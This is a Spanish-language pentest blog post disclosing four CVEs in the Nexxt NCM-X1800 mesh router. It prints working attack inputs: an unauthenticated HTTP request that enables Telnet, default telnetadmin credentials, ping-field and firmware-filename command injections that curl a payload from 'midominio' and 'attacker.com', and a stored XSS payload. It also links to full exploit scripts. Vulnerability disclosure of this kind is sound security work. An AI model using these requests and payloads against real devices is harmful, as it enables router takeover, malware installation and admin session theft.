16 de julio de 2025Por TozettaPentestTécnico

Encontrar y explotar cuatro vulnerabilidades en un router (Nexxt NCM-X1800 mesh router)

Recientemente, Ian dedicó algo de tiempo a analizar el Nexxt Solutions NCM-X1800 Mesh Router. ¿Qué descubrió? Contenía varios problemas de seguridad importantes, incluidas cuatro vulnerabilidades que también valía la pena reportar y para las que creó exploits. En este blog explicamos brevemente los detalles.

Aunque no seas un hacker experimentado o un especialista en seguridad, (esperamos) que puedas seguir perfectamente este artículo.

CVE-2025-52376: Activar Telnet de forma remota (¡sin iniciar sesión!)

¿Qué está pasando aquí? Imagina esto: tienes un router, pero tiene una puerta secreta que puedes abrir sin llave. Eso es este bug. Cualquiera en la red -sin iniciar sesión- puede enviar una solicitud especial al router para activar una especie de "puerta trasera": el servicio Telnet. Y por si fuera poco: ese servicio funciona con un nombre de usuario y contraseña predeterminados: telnetadmin.

¿Qué puedes hacer con esto? Acceso completo a la línea de comandos del dispositivo. Hablas directamente con el cerebro del router.

¿Cómo funciona técnicamente?

El router acepta la siguiente solicitud HTTP sin ninguna comprobación:

POST /web/um_open_telnet.cgi HTTP/1.0
mode_name=/web/um_open_telnet
nonedata=12345678
telnetEnable=1

Después, puedes simplemente iniciar sesión en el shell del dispositivo con telnetadmin:telnetadmin. Esto te da acceso al sistema Linux subyacente (BusyBox).

nc -nv 192.168.1.1 23
# login: telnetadmin
# password: telnetadmin

También hicimos un script que automatiza todo por ti. Échale un vistazo en Github aquí

CVE-2025-52377: Inyección de comandos vía ping/traceroute

¿Qué es esto? Los routers suelen tener una función que te permite hacer "ping" a otro dispositivo o ejecutar un traceroute para diagnosticar problemas de red. Pero en este router, también puedes incluir comandos del sistema a través de ese campo de entrada. Piensa en:

192.168.1.1; curl http://midominio/payload. ¿Por qué es esto grave? Un usuario que haya iniciado sesión (y a veces incluso sin iniciar sesión, dependiendo de la configuración) puede ejecutar comandos como si fuera el administrador. Con esto puedes, por ejemplo, descargar malware, ejecutarlo o establecer una conexión inversa (reverse shell).

¿Qué salió mal? El router no comprueba correctamente si la dirección IP es realmente una dirección IP. Todo lo que escribes se pasa literalmente como comando al shell subyacente.

Pasos del exploit:

  • Iniciar sesión con la contraseña predeterminada 12345678
  • Incluir un comando curl a través del formulario de ping para descargar tu payload
  • Hacer el payload ejecutable
  • Ejecutar el payload para obtener acceso al sistema

Aquí tienes un script en Python que hicimos y que ejecuta automáticamente todos estos pasos.

CVE-2025-52378: XSS almacenado en la gestión de dispositivos

¿Qué significa esto? Con este bug puedes inyectar código JavaScript en el panel de administración del router, y se queda ahí. Cada vez que un administrador abre la página, se ejecuta el código.

Ejemplo práctico: Imagina que cambias el nombre de un dispositivo a:

<img src onerror=alert('sxss')> **En cuanto un administrador abre después la lista de dispositivos, aparece una ventana emergente con tu mensaje, o peor: robas su cookie de sesión, realizas acciones adicionales como administrador, etc, etc...

¿Cómo funciona? El router no filtra correctamente qué caracteres se pueden usar al introducir nombres de dispositivos. Esto te permite introducir HTML y JavaScript, que después se muestran y se ejecutan para otros usuarios.

CVE-2025-52379: Inyección de comandos vía actualización de firmware

¿Qué está mal aquí? Cuando normalmente subes firmware a un router, esperas que el archivo se maneje de forma segura. Pero en este router, puedes añadir un poco de código extra en el nombre del archivo mismo. Esto se debe a que el nombre se pasa sin comprobación a un comando de shell, algo que un hacker puede aprovechar.

Ejemplo de un nombre de archivo malicioso:

firmware.bin\curl http://attacker.com/payload\`

`` `Resultado: el router descarga algo de tu servidor y podría después ejecutarlo.

Pasos del exploit:

  • Iniciar sesión como administrador
  • Proporcionar un nombre de archivo malicioso especialmente diseñado
  • El payload se descarga automáticamente y potencialmente se ejecuta

Para poder hacer esto, publicamos un exploit que puedes encontrar aquí.

Este router resulta ser bastante vulnerable. En total he publicado cuatro CVE, con exploits completos, y de hecho espero descubrir muchos más problemas en este dispositivo. Puede que en algún momento posterior volvamos a profundizar en el firmware del router.

Enlaces CVE de Mitre

-CVE-2025-52376 | Mitre

-CVE-2025-52377 | Mitre

-CVE-2025-52378 | Mitre

-CVE-2025-52379 | Mitre

Revisa los scripts completos, PoCs y writeups en el repositorio de GitHub:

github.com/Vagebondcur/nexxt-solutions-NCM-X1800-exploits

Artículos relacionados